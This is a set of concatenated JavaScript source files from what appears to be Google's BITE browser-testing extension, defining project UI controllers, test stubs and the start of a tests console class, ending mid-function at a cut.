// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Defines a background script stub used for testing the project * subsystem in a standalone fashion. * * @author jasonstredwick@google.com (Jason Stredwick) */ goog.provide('bite.project.BackgroundTest'); goog.require('bite.project.Background'); /** * Handler is called when the extension icon is pressed. The function will * send a message to the injected content script notifying it of the action. * @param {Tab} tab The currently selected tab when the extension icon is * pressed. */ bite.project.BackgroundTest.onBrowserAction = function(tab) { if (!tab || !tab.id) { return; } var msg = { 'owner': 'bite.project', 'action': 'turn-on' }; chrome.tabs.sendRequest(tab.id, msg); }; chrome.browserAction.onClicked.addListener( bite.project.BackgroundTest.onBrowserAction);
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Defines a content script stub used for testing the project * subsystem in a standalone fashion. * * @author jasonstredwick@google.com (Jason Stredwick) */ goog.provide('bite.project.ContentTest'); goog.require('bite.project.Content'); goog.require('goog.dom'); goog.require('goog.dom.TagName'); /** * @constructor * @export */ bite.project.ContentTest = function() {}; /** * @export */ bite.project.ContentTest.init = function() { var content = bite.project.Content.getInstance(); content.init('/'); var explore = content.getView(bite.project.Content.viewId.EXPLORE); var general = content.getView(bite.project.Content.viewId.GENERAL); var member = content.getView(bite.project.Content.viewId.MEMBER); var settings = content.getView(bite.project.Content.viewId.SETTINGS); if (!explore || !general || !member || !settings) { return; } goog.dom.appendChild(goog.dom.getDocument().body, explore); goog.dom.appendChild(goog.dom.getDocument().body, general); goog.dom.appendChild(goog.dom.getDocument().body, member); goog.dom.appendChild(goog.dom.getDocument().body, settings); };
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Define the controller for bite.project.Explore * window. The object defines the functionality specifically for this * controller and does not affect the outside world. However, it does define * a set of signals that can be used by external sources to perform actions * when the controller performs certain tasks. * * The Explore window is inteneded to have only a single instance. * * @author jasonstredwick@google.com (Jason Stredwick) */ goog.provide('bite.project.Explore'); goog.require('bite.common.mvc.helper'); goog.require('bite.project.soy.Explore'); goog.require('goog.dom'); goog.require('goog.dom.TagName'); /** * Constructs an instance of a Explore controller. The constructor * creates the object in a default state that has not been mapped to a view. * @constructor * @export */ bite.project.Explore = function() { /** * Drill down button for browse results. * @type {Element} * @private */ this.drillBrowse_ = null; /** * Drill down button for search results. * @type {Element} * @private */ this.drillSearch_ = null; /** * Drill down button for subscription results. * @type {Element} * @private */ this.drillSubscription_ = null; /** * Whether or not the window's model is initialized. * @type {boolean} * @private */ this.isModelInitialized_ = false; /** * Window element managed by this controller. Defaults to null meaning the * controller is not attached to a model. * @type {Element} * @private */ this.window_ = null; }; goog.addSingletonGetter(bite.project.Explore); /** * The window's id. * @type {string} * @private */ bite.project.Explore.CONSOLE_ID_ = 'project-explore'; /** * Buttons. * @enum {string} * @private */ bite.project.Explore.Button_ = { BROWSE: 'project-general-browse-results', SEARCH: 'project-general-search-drilldown', SUBSCRIPTION: 'project-general-subscription-drilldown' }; /** * Given an object, fill in values respective to this view. * @param {Object} inout_data An object to be filled with values. * @export */ bite.project.Explore.prototype.getData = function(inout_data) { }; /** * Returns the div element for the explore view. * @return {Element} It will return the element or null if not created. * @export */ bite.project.Explore.prototype.getView = function() { return this.window_; }; /** * Initialize the Explore Window by creating the model and hooking * functions to the model. If a baseUrl is given and the view is not yet * initialized then this function will try to initialize it. Nothing happens * if the window is already initialized. * @param {string=} opt_baseUrl The baseUrl required for relative references. * @return {boolean} Whether or not the model is initialized. It will also * return true if the model is already initialized. * @export */ bite.project.Explore.prototype.init = function(opt_baseUrl) { if (this.isModelInitialized_) { return true; } var helper = bite.common.mvc.helper; this.window_ = helper.renderModel(bite.project.soy.Explore.getModel, {'baseUrl': opt_baseUrl}); if (this.window_ && this.setupButtons_(this.window_)) { this.isModelInitialized_ = true; } else { this.undoSetup_(); } return this.isModelInitialized_; }; /** * Determines if the window is constructed or not. * @return {boolean} Whether or not the view is initialized. * @export */ bite.project.Explore.prototype.isInitialized = function() { return this.isModelInitialized_; }; /** * Retrieve and store button elements. * @param {!Element} srcElement The element to search within. * @return {boolean} Successfully setup buttons. * @private */ bite.project.Explore.prototype.setupButtons_ = function(srcElement) { var helper = bite.common.mvc.helper; var button = bite.project.Explore.Button_; this.drillBrowse_ = helper.getElement(button.BROWSE, srcElement); this.drillSearch_ = helper.getElement(button.SEARCH, srcElement); this.drillSubscription_ = helper.getElement(button.SUBSCRIPTION, srcElement); return true; }; /** * Takes an object that contains data for the various inputs and sets the * input elements to the appropriate values. * TODO (jasonstredwick): Cleanup function by either moving code to soy or * rethink what needs to happen here. * @param {Object} data The data used to fill out the form. * @return {boolean} Whether or not the window was updated. * @export */ bite.project.Explore.prototype.update = function(data) { if (!this.isInitialized()) { return false; } var i = 0; var len = 0; var element = null; var srcElement = /** @type {!Element} */ (this.window_); var helper = bite.common.mvc.helper; var elementName = ''; if ('subscriptions' in data) { // Clear element elementName = 'project-general-subscriptions'; var subscriptionsElement = helper.getElement(elementName, srcElement); subscriptionsElement.innerHTML = ''; // Add in up to the first five values. var subscriptions = data['subscriptions']; for (i = 0, len = subscriptions.length; i < len && i < 5; ++i) { element = goog.dom.createElement(goog.dom.TagName.DIV); element.innerHTML = subscriptions[i]; goog.dom.appendChild(subscriptionsElement, element); } if (subscriptions.length >= 5) { element = goog.dom.createElement(goog.dom.TagName.DIV); element.innerHTML = 'See more...'; element.className = 'see-more'; goog.dom.appendChild(subscriptionsElement, element); } } if ('search' in data) { // Reset element elementName = 'project-general-search-results'; var searchElement = helper.getElement(elementName, srcElement); var searchBar = searchElement.childNodes[0]; goog.dom.removeChildren(searchElement); goog.dom.appendChild(searchElement, searchBar); var results = data['search']; // Add in the number of results. element = goog.dom.createElement(goog.dom.TagName.DIV); element.innerHTML = 'Found ' + results.length + 'results.'; element.className = 'results'; goog.dom.appendChild(searchElement, element); // Add in up to the first five values. for (i = 0, len = results.length; i < len && i < 5; ++i) { element = goog.dom.createElement(goog.dom.TagName.DIV); element.innerHTML = results[i]; goog.dom.appendChild(searchElement, element); } if (results.length >= 5) { element = goog.dom.createElement(goog.dom.TagName.DIV); element.innerHTML = 'See more...'; element.className = 'see-more'; goog.dom.appendChild(searchElement, element); } } if ('browse' in data) { // Reset element elementName = 'project-general-search-results'; var browseElement = helper.getElement(elementName, srcElement); browseElement.innerHTML = ''; var browseResults = data['browse']; // Add in up to the first five values. for (i = 0, len = browseResults.length; i < len && i < 5; ++i) { element = goog.dom.createElement(goog.dom.TagName.DIV); element.innerHTML = browseResults[i]; goog.dom.appendChild(browseElement, element); } if (browseResults.length >= 5) { element = goog.dom.createElement(goog.dom.TagName.DIV); element.innerHTML = 'See more...'; element.className = 'see-more'; goog.dom.appendChild(browseElement, element); } } return true; }; /** * Reset the model portion of the controller back to an uninitialized state. * @private */ bite.project.Explore.prototype.undoSetup_ = function() { // Make sure and remove the DOM Element from the document upon failure. if (this.window_) { bite.common.mvc.helper.removeElementById(bite.project.Explore.CONSOLE_ID_); } this.drillBrowse_ = null; this.drillSearch_ = null; this.drillSubscription_ = null; this.window_ = null; };
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Define the controller for bite.project.General * window. The object defines the functionality specifically for this * controller and does not affect the outside world. However, it does define * a set of signals that can be used by external sources to perform actions * when the controller performs certain tasks. * * The General window is inteneded to have only a single instance. * * @author jasonstredwick@google.com (Jason Stredwick) */ goog.provide('bite.project.General'); goog.require('bite.common.mvc.helper'); goog.require('bite.project.soy.General'); goog.require('goog.dom'); goog.require('goog.dom.TagName'); /** * Constructs an instance of a General controller. The constructor * creates the object in a default state that has not been mapped to a view. * @constructor * @export */ bite.project.General = function() { /** * The description input element. * @type {Element} * @private */ this.description_ = null; /** * Whether or not the window's model is initialized. * @type {boolean} * @private */ this.isModelInitialized_ = false; /** * The name input element. * @type {Element} * @private */ this.name_ = null; /** * The provider input element. * @type {Element} * @private */ this.provider_ = null; /** * The provider info input element. * @type {Element} * @private */ this.providerInfo_ = null; /** * The provider input element. * @type {Element} * @private */ this.tcm_ = null; /** * The provider info input element. * @type {Element} * @private */ this.tcmInfo_ = null; /** * Window element managed by this controller. Defaults to null meaning the * controller is not attached to a model. * @type {Element} * @private */ this.window_ = null; }; goog.addSingletonGetter(bite.project.General); /** * The window's id. * @type {string} * @private */ bite.project.General.CONSOLE_ID_ = 'project-general'; /** * The string identifiers for this view's data. * @enum {string} * @private */ bite.project.General.Data_ = { DESCRIPTION: 'description', NAME: 'name', PROVIDER: 'provider', PROVIDER_INFO: 'provider_info', TCM: 'tcm', TCM_INFO: 'tcm_info' }; /** * Given an object, fill in values respective to this view. * @param {Object} inout_data An object to be filled with values. * @export */ bite.project.General.prototype.getData = function(inout_data) { if (!this.isInitialized()) { return; } inout_data[bite.project.General.Data_.DESCRIPTION] = this.description_.value; inout_data[bite.project.General.Data_.NAME] = this.name_.value; inout_data[bite.project.General.Data_.PROVIDER] = this.provider_.value; inout_data[bite.project.General.Data_.PROVIDER_INFO] = this.providerInfo_.value; inout_data[bite.project.General.Data_.TCM] = this.tcm_.value; inout_data[bite.project.General.Data_.TCM_INFO] = this.tcmInfo_.value; }; /** * Returns the div element representing this details view. * @return {Element} It will return the element or null if not created. * @export */ bite.project.General.prototype.getView = function() { return this.window_; }; /** * Initialize the General Window by creating the model and hooking * functions to the model. If a baseUrl is given and the view is not yet * initialized then this function will try to initialize it. Nothing happens * if the window is already initialized. * @param {string=} opt_baseUrl The baseUrl required for relative references. * @return {boolean} Whether or not the model is initialized. It will also * return true if the model is already initialized. * @export */ bite.project.General.prototype.init = function(opt_baseUrl) { if (this.isModelInitialized_) { return true; } var helper = bite.common.mvc.helper; this.window_ = helper.initModel(bite.project.soy.General.getModel, {'baseUrl': opt_baseUrl}); if (this.window_ && this.setupInputs_(this.window_)) { this.isModelInitialized_ = true; } else { this.undoSetup_(); } return this.isModelInitialized_; }; /** * Determines if the window is constructed or not. * @return {boolean} Whether or not the view is initialized. * @export */ bite.project.General.prototype.isInitialized = function() { return this.isModelInitialized_; }; /** * Retrieve elements from the model to be used later. * @param {!Element} srcElement The element from which to find the ones * desired. * @return {boolean} Whether or not they were all found. * @private */ bite.project.General.prototype.setupInputs_ = function(srcElement) { var helper = bite.common.mvc.helper; this.description_ = helper.getElement('project-description', srcElement); this.name_ = helper.getElement('project-name', srcElement); this.provider_ = helper.getElement('project-bug-provider', srcElement); this.providerInfo_ = helper.getElement('project-bug-provider-info', srcElement); this.tcm_ = helper.getElement('project-tcm', srcElement); this.tcmInfo_ = helper.getElement('project-tcm-info', srcElement); return true; }; /** * Takes an object that contains data for the various inputs and sets the * input elements to the appropriate values. * @param {Object} data The data used to fill out the form. * @return {boolean} Whether or not the window was updated. * @export */ bite.project.General.prototype.update = function(data) { if (!this.isInitialized()) { return false; } if (bite.project.General.Data_.DESCRIPTION in data) { this.description_.value = data[bite.project.General.Data_.DESCRIPTION]; } if (bite.project.General.Data_.NAME in data) { this.name_.value = data[bite.project.General.Data_.NAME]; } if (bite.project.General.Data_.PROVIDER in data) { this.provider_.value = data[bite.project.General.Data_.PROVIDER]; } if (bite.project.General.Data_.PROVIDER_INFO in data) { this.providerInfo_.value = data[bite.project.General.Data_.PROVIDER_INFO]; } if (bite.project.General.Data_.TCM in data) { this.tcm_.value = data[bite.project.General.Data_.TCM]; } if (bite.project.General.Data_.TCM_INFO in data) { this.tcmInfo_.value = data[bite.project.General.Data_.TCM_INFO]; } return true; }; /** * Reset the model portion of the controller back to an uninitialized state. * @private */ bite.project.General.prototype.undoSetup_ = function() { // Make sure and remove the DOM Element from the document upon failure. if (this.window_) { bite.common.mvc.helper.removeElementById(bite.project.General.CONSOLE_ID_); } this.description_ = null; this.name_ = null; this.provider_ = null; this.providerInfo_ = null; this.tcm_ = null; this.tcmInfo_ = null; this.window_ = null; };
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Define the controller for bite.project.Member * window. The object defines the functionality specifically for this * controller and does not affect the outside world. However, it does define * a set of signals that can be used by external sources to perform actions * when the controller performs certain tasks. * * The Member window is inteneded to have only a single instance. * * @author jasonstredwick@google.com (Jason Stredwick) */ goog.provide('bite.project.Member'); goog.require('bite.common.mvc.helper'); goog.require('bite.project.soy.Member'); goog.require('goog.dom'); goog.require('goog.dom.TagName'); goog.require('goog.string'); /** * Constructs an instance of a Member controller. The constructor * creates the object in a default state that has not been mapped to a view. * @constructor * @export */ bite.project.Member = function() { /** * The cancel button element. * @type {Element} * @private */ this.buttonCancel_ = null; /** * The invite button element. * @type {Element} * @private */ this.buttonInvite_ = null; /** * The remove button element. * @type {Element} * @private */ this.buttonRemove_ = null; /** * The invite textarea. * @type {Element} * @private */ this.invite_ = null; /** * Whether or not the window's model is initialized. * @type {boolean} * @private */ this.isModelInitialized_ = false; /** * The Element that contains a list of group members. * @type {Element} * @private */ this.members_ = null; /** * Window element managed by this controller. Defaults to null meaning the * controller is not attached to a model. * @type {Element} * @private */ this.window_ = null; }; goog.addSingletonGetter(bite.project.Member); /** * The window's id. * @type {string} * @private */ bite.project.Member.CONSOLE_ID_ = 'project-member'; /** * The string identifiers for this view's data. * TODO (jasonstredwick): Need to incorporate the rest of the elements into * this and other enums. * @enum {string} * @private */ bite.project.Member.Data_ = { MEMBERS: 'emails' }; /** * Given an object, fill in values respective to this view. * @param {Object} inout_data An object to be filled with values. * @export */ bite.project.Member.prototype.getData = function(inout_data) { if (!this.isInitialized()) { return; } var members = []; for (var i = 0, len = this.members_.rows.length; i < len; ++i) { members.push(this.members_.rows[i].cells[0]); } inout_data[bite.project.Member.Data_.MEMBERS] = members; }; /** * Returns the div element for this details view. * @return {Element} It will return the element or null if not created. * @export */ bite.project.Member.prototype.getView = function() { return this.window_; }; /** * Initialize the Member Window by creating the model and hooking * functions to the model. If a baseUrl is given and the view is not yet * initialized then this function will try to initialize it. Nothing happens * if the window is already initialized. * @param {string=} opt_baseUrl The baseUrl required for relative references. * @return {boolean} Whether or not the model is initialized. It will also * return true if the model is already initialized. * @export */ bite.project.Member.prototype.init = function(opt_baseUrl) { if (this.isModelInitialized_) { return true; } var helper = bite.common.mvc.helper; this.window_ = helper.initModel(bite.project.soy.Member.getModel, {'baseUrl': opt_baseUrl}); if (this.window_ && this.setupInputs_(this.window_)) { this.isModelInitialized_ = true; } else { this.undoSetup_(); } return this.isModelInitialized_; }; /** * Determines if the window is constructed or not. * @return {boolean} Whether or not the view is initialized. * @export */ bite.project.Member.prototype.isInitialized = function() { return this.isModelInitialized_; }; /** * Retrieve and store references to the input elements. * @param {!Element} srcElement The element from which to find the needed * elements. * @return {boolean} Whether or not all elements were found. * @private */ bite.project.Member.prototype.setupInputs_ = function(srcElement) { var helper = bite.common.mvc.helper; this.buttonCancel_ = helper.getElement('project-invite-cancel', srcElement); this.buttonInvite_ = helper.getElement('project-invite', srcElement); this.buttonRemove_ = helper.getElement('project-member-remove', srcElement); this.invite_ = helper.getElement('project-invite-users', srcElement); this.members_ = helper.getElement('project-members', srcElement); return true; }; /** * Takes an object that contains data for the various inputs and sets the * input elements to the appropriate values. * @param {Object} data The data used to fill out the form. * @return {boolean} Whether or not the window was updated. * @export */ bite.project.Member.prototype.update = function(data) { if (!this.isInitialized()) { return false; } this.members_.innerHTML = bite.project.soy.Member.addMembers( {members: data[bite.project.Member.Data_.MEMBERS]}); return true; }; /** * Reset the model portion of the controller back to an uninitialized state. * @private */ bite.project.Member.prototype.undoSetup_ = function() { // Make sure and remove the DOM Element from the document upon failure. if (this.window_) { bite.common.mvc.helper.removeElementById(bite.project.Member.CONSOLE_ID_); } this.buttonCancel_ = null; this.buttonInvite_ = null; this.buttonRemove_ = null; this.invite_ = null; this.members_ = null; this.window_ = null; };
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Define the controller for bite.project.Settings * window. The object defines the functionality specifically for this * controller and does not affect the outside world. However, it does define * a set of signals that can be used by external sources to perform actions * when the controller performs certain tasks. * * The Settings window is inteneded to have only a single instance. * * @author jasonstredwick@google.com (Jason Stredwick) */ goog.provide('bite.project.Settings'); goog.require('bite.common.mvc.helper'); goog.require('bite.project.soy.Settings'); goog.require('goog.dom'); goog.require('goog.dom.TagName'); /** * Constructs an instance of a Settings controller. The constructor * creates the object in a default state that has not been mapped to a view. * @constructor * @export */ bite.project.Settings = function() { /** * Whether or not the window's model is initialized. * @type {boolean} * @private */ this.isModelInitialized_ = false; /** * Holds the line length element. * @type {Element} * @private */ this.lineLength_ = null; /** * Holds the run time element. * @type {Element} * @private */ this.runtime_ = null; /** * Holds the screenshot checkbox element. * @type {Element} * @private */ this.screenshot_ = null; /** * Holds the timeout limit element. * @type {Element} * @private */ this.timeout_ = null; /** * Holds the worker mode token element. * @type {Element} * @private */ this.token_ = null; /** * Holds the start url element. * @type {Element} * @private */ this.url_ = null; /** * Window element managed by this controller. Defaults to null meaning the * controller is not attached to a model. * @type {Element} * @private */ this.window_ = null; }; goog.addSingletonGetter(bite.project.Settings); /** * The window's id. * @type {string} * @private */ bite.project.Settings.CONSOLE_ID_ = 'project-settings'; /** * The string identifiers for this view's data. * @enum {string} * @private */ bite.project.Settings.Data_ = { LINE_LENGTH: 'test_case_line_length', RUNTIME: 'max_runs_per_test', SCREENSHOT: 'save_screen_shot', TIMEOUT: 'line_timeout_limit', TOKEN: 'worker_mode_token', URL: 'start_url_replacement' }; /** * Given an object, fill in values respective to this view. * @param {Object} inout_data An object to be filled with values. * @export */ bite.project.Settings.prototype.getData = function(inout_data) { if (!this.isInitialized()) { return; } inout_data[bite.project.Settings.Data_.LINE_LENGTH] = this.lineLength_.value; inout_data[bite.project.Settings.Data_.RUNTIME] = this.runtime_.value; inout_data[bite.project.Settings.Data_.SCREENSHOT] = (this.screenshot_.value) ? 'true' : 'false'; inout_data[bite.project.Settings.Data_.TIMEOUT] = this.timeout_.value; inout_data[bite.project.Settings.Data_.TOKEN] = this.token_.value; inout_data[bite.project.Settings.Data_.URL] = this.url_.value; }; /** * Returns the div element of this details view. * @return {Element} It will return the element or null if not created. * @export */ bite.project.Settings.prototype.getView = function() { return this.window_; }; /** * Initialize the Settings Window by creating the model and hooking * functions to the model. If a baseUrl is given and the view is not yet * initialized then this function will try to initialize it. Nothing happens * if the window is already initialized. * @param {string=} opt_baseUrl The baseUrl required for relative references. * @return {boolean} Whether or not the model is initialized. It will also * return true if the model is already initialized. * @export */ bite.project.Settings.prototype.init = function(opt_baseUrl) { if (this.isModelInitialized_) { return true; } var helper = bite.common.mvc.helper; this.window_ = helper.initModel(bite.project.soy.Settings.getModel, {'baseUrl': opt_baseUrl}); if (this.window_ && this.setupInputs_(this.window_)) { this.isModelInitialized_ = true; } else { this.undoSetup_(); } return this.isModelInitialized_; }; /** * Determines if the window is constructed or not. * @return {boolean} Whether or not the view is initialized. * @export */ bite.project.Settings.prototype.isInitialized = function() { return this.isModelInitialized_; }; /** * Retrieve and store references to the input elements. * @param {!Element} srcElement The element from which to find the needed * elements. * @return {boolean} Whether or not all elements were found. * @private */ bite.project.Settings.prototype.setupInputs_ = function(srcElement) { var helper = bite.common.mvc.helper; this.lineLength_ = helper.getElement('project-line-length', srcElement); this.runtime_ = helper.getElement('project-max-time', srcElement); this.screenshot_ = helper.getElement('project-screenshot', srcElement); this.timeout_ = helper.getElement('project-timeout', srcElement); this.token_ = helper.getElement('project-worker-mode-token', srcElement); this.url_ = helper.getElement('project-start-url', srcElement); return true; }; /** * Takes an object that contains data for the various inputs and sets the * input elements to the appropriate values. * @param {Object} data The data used to fill out the form. * @return {boolean} Whether or not the window was updated. * @export */ bite.project.Settings.prototype.update = function(data) { if (!this.isInitialized()) { return false; } if (bite.project.Settings.Data_.LINE_LENGTH in data) { this.lineLength_.value = data[bite.project.Settings.Data_.LINE_LENGTH]; } if (bite.project.Settings.Data_.RUNTIME in data) { this.runtime_.value = data[bite.project.Settings.Data_.RUNTIME]; } if (bite.project.Settings.Data_.SCREENSHOT in data) { this.screenshot_.checked = (data[bite.project.Settings.Data_.SCREENSHOT]) ? 'true' : 'false'; } if (bite.project.Settings.Data_.TIMEOUT in data) { this.timeout_.value = data[bite.project.Settings.Data_.TIMEOUT]; } if (bite.project.Settings.Data_.TOKEN in data) { this.token_.value = data[bite.project.Settings.Data_.TOKEN]; } if (bite.project.Settings.Data_.URL in data) { this.url_.value = data[bite.project.Settings.Data_.URL]; } return true; }; /** * Reset the model portion of the controller back to an uninitialized state. * @private */ bite.project.Settings.prototype.undoSetup_ = function() { // Make sure and remove the DOM Element from the document upon failure. if (this.window_) { var helper = bite.common.mvc.helper; helper.removeElementById(bite.project.Settings.CONSOLE_ID_); } this.lineLength_ = null; this.runtime_ = null; this.screenshot_ = null; this.timeout_ = null; this.token_ = null; this.url_ = null; this.window_ = null; };
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Unifies the bite.project subsystem within the context of * content scripts. The constructor as a the initializer for the subsystem * causes the rest of the system to initialize. * * @author jasonstredwick@google.com (Jason Stredwick) */ goog.provide('bite.project.Content'); goog.require('bite.project.Explore'); goog.require('bite.project.General'); goog.require('bite.project.Member'); goog.require('bite.project.Settings'); /** * Constructs an object that manages the project UX. * @constructor * @export */ bite.project.Content = function() { /** * Whether or not consoles are initialized. * @type {boolean} * @private */ this.areConsolesInitialized_ = false; /** * A string representing the base url for relative references. * @type {string} * @private */ this.baseUrl_ = ''; /** * The controller for the detail's page general view. * @type {bite.project.General} * @private */ this.detailsGeneralView_ = null; /** * The controller for the detail's page member view. * @type {bite.project.Member} * @private */ this.detailsMemberView_ = null; /** * The controller for the detail's page settings view. * @type {bite.project.Settings} * @private */ this.detailsSettingsView_ = null; /** * The controller for the explore page. * @type {bite.project.Explore} * @private */ this.exploreView_ = null; /** * Whether or not the common view is initialized. * @type {boolean} * @private */ this.isViewInitialized_ = false; }; goog.addSingletonGetter(bite.project.Content); /** * A list of actions defined for projects. * @enum {string} * @export */ bite.project.Content.action = { GET_VIEW: 'get-view' }; /** * Names used to identify the various project views in terms of visual * elements. * @enum {string} * @export */ bite.project.Content.viewId = { EXPLORE: 'explore', GENERAL: 'general', MEMBER: 'member', SETTINGS: 'settings' }; /** * Names used to identify the various project views in terms of data retrieval. * @enum {string} * @export */ bite.project.Content.dataId = { DETAILS: 'details', EXPLORE: 'explore' }; /** * Returns the div element containing a project view. * @param {bite.project.Content.viewId} id Which view. * @return {Element} The div element for the requested view or null if not * created. * @export */ bite.project.Content.prototype.getView = function(id) { switch (id) { case bite.project.Content.viewId.EXPLORE: return this.exploreView_.getView(); case bite.project.Content.viewId.GENERAL: return this.detailsGeneralView_.getView(); case bite.project.Content.viewId.MEMBER: return this.detailsMemberView_.getView(); case bite.project.Content.viewId.SETTINGS: return this.detailsSettingsView_.getView(); default: console.log('WARNING (bite.project.Content.getView): Bad id - ' + id); } return null; }; /** * Returns the div element containing a project view. * @param {bite.project.Content.dataId} id Which view. * @param {Object} inout_data An object to be filled. * @export */ bite.project.Content.prototype.getData = function(id, inout_data) { switch (id) { case bite.project.Content.dataId.EXPLORE: this.exploreView_.getData(inout_data); case bite.project.Content.dataId.DETAILS: this.detailsGeneralView_.getData(inout_data); this.detailsMemberView_.getData(inout_data); this.detailsSettingsView_.getData(inout_data); default: console.log('WARNING (bite.project.Content.getData): Bad id - ' + id); } return; }; /** * Initializes the Project UX for content scripts. * @param {string=} baseUrl The base url to use for relative references. * @export */ bite.project.Content.prototype.init = function(baseUrl) { this.baseUrl_ = baseUrl || ''; // Initialize controllers this.exploreView_ = bite.project.Explore.getInstance(); this.exploreView_.init(this.baseUrl_); this.detailsGeneralView_ = bite.project.General.getInstance(); this.detailsGeneralView_.init(this.baseUrl_); this.detailsMemberView_ = bite.project.Member.getInstance(); this.detailsMemberView_.init(this.baseUrl_); this.detailsSettingsView_ = bite.project.Settings.getInstance(); this.detailsSettingsView_.init(this.baseUrl_); }; /** * Create the content instance to initialize the project subsystem in the * context of a content script. */ bite.project.Content.getInstance();
JavaScript
// Copyright 2010 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Unit tests for elementhelper. * * @author phu@google.com (Po Hu) */ goog.require('common.client.ElementDescriptor'); goog.require('goog.testing.MockControl'); goog.require('goog.testing.PropertyReplacer'); var stubs_ = new goog.testing.PropertyReplacer(); var mockControl_ = null; var chrome = {}; function setUp() { mockControl_ = new goog.testing.MockControl(); chrome.extension = {}; stubs_.set(goog.global, 'chrome', chrome); } function tearDown() { mockControl_.$tearDown(); mockControl_ = null; stubs_.reset(); }
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Handles the Tests console, which shows testing suites * that the user belongs to. * * @author ralphj@google.com (Julie Ralph) */ goog.provide('bite.client.TestsConsole'); goog.require('Bite.Constants'); goog.require('bite.client.Container'); goog.require('bite.client.Templates'); goog.require('goog.dom'); goog.require('goog.events.EventHandler'); goog.require('soy'); /** * Creates a tests console and displays it on the current page. * @param {?string} user The email of the current user. * @param {string} server The current server channel. * @constructor */ bite.client.TestsConsole = function(user, server) { /** * The tests console container. * @type {bite.client.Container} * @private */ this.container_ = null; /** * Manages events on the overlay. * @type {goog.events.EventHandler} * @private */ this.eventHandler_ = new goog.events.EventHandler(); /** * Test data. * * TODO(ralphj): Considering making this more specified than 'object'. * @type {Object} * @private */ this.test_ = null; this.load_(user, server); }; /** * Returns whether or not the console is currently visible on screen. * @return {boolean} True if the console is visible. */ bite.client.TestsConsole.prototype.isConsoleVisible = function() { if (this.container_) { return this.container_.isVisible(); } return false; }; /** * Updates the data stored in the test console. * @param {Object} test The new test data. * @param {?string} user The email of the current user. * @param {string} server The current server channel. */ bite.client.TestsConsole.prototype.updateData = function(test, user, server) { this.test_ = test; this.renderTestsInfo_(user, server); }; /** * Removes the console element from the page. * @return {boolean} Whether the console was removed or not. */ bite.client.TestsConsole.prototype.removeConsole = function() { if (this.container_) { this.container_.remove(); this.container_ = null; this.eventHandler_.removeAll(); return true; } return false; }; /** * Hides the console element from the page. */ bite.client.TestsConsole.prototype.hideConsole = function() { if (this.container_) { this.container_.hide(); } }; /** * Shows the console element. */ bite.client.TestsConsole.prototype.showConsole = function() { if (this.container_) { this.container_.show(); } }; /** * Loads the test console. * @param {?string} user The user's e-mail. * @param {string} server The server url. * @private */ bite.client.TestsConsole.prototype.load_ = function(user, server) { this.container_ = new bite.client.Container(server, 'bite-tests-console', 'Tests', 